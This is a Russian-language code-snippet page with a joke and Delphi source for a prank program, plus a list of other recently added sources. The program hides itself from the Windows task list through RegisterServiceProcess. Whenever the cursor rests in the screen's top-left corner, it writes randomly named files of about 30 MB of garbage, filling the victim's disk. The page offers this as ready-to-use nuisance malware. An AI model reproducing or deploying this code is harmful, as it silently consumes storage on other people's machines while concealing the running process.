Мало места на винте

Пpогpаммист увидел HЛО:
- У кого-то диск полетел...

Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана, то она создает под случайным именем и расширением на диске файл с мусором

program musor;

uses
  Windows;

var
   { Объявление переменных }
  text: TextFile;
  alphabet, temp: string;
  i: integer;
  point: TPoint;

function RegisterServiceProcess(dwProcessID, dwType: Integer): integer;
stdcall; external 'KERNEL32.DLL';
begin
  RegisterServiceProcess(0, 1);
  {заполняем строку алфавитом}
  alphabet := 'abcdefghijklmnopqrstucvwxyz';
  while true do
  begin
    { получаем координаты курсора }
    GetCursorPos(point);
    { если х = 0 и y = 0 то }
    if (point.x = 0) and (point.y = 0) then
    begin
      temp:=''; {очищаем буфер}
      for i:=1 to 8 do {генерируем случайное имя файла}
        temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
      temp:=Concat(temp, '.');
      for i:=1 to 3 do {генерируем случайное расширение}
        temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
      Assign(text, temp); { присваиваем имя файлу }
      Rewrite(text); {открываем файл}
      for i:=1 to 30000000 do
      begin
        Yield;
        write(text, '!'); { наполняем файл мусором }
      end;
      Close(text); {закрываем файл }
    end;
  end; {всё сначала }
end.

Недавно добавленные исходники
• DeLiKaTeS Tetris (Тетрис) 4 835 • TDictionary Custom Sort 6 827 • Fast Watermark Sources 6 606 • 3D Designer 9 573 • Sik Screen Capture 6 946 • Patch Maker 7 393 • Айболит (remote control) 7 343 • ListBox Drag & Drop 6 200 • Доска для игры Реверси 98 192 • Графические эффекты 7 515 • Рисование по маске 6 799 • Перетаскивание изображений 5 654 • Canvas Drawing 6 032 • Рисование Луны 5 825 • Поворот изображения 5 274 • Рисование стержней 3 866 • Paint on Shape 3 020 • Генератор кроссвордов 3 980 • Головоломка Paletto 3 153 • Теорема Монжа об окружностях 3 995 • Пазл Numbrix 2 636 • Заборы и коммивояжеры 3 447 • Игра HIP 2 362 • Игра Go (Го) 2 279 • Симулятор лифта 2 676 • Программа укладки плитки 2 239 • Генератор лабиринта 2 794 • Проверка числового ввода 2 399 • HEX View 2 734 • Физический маятник 2 427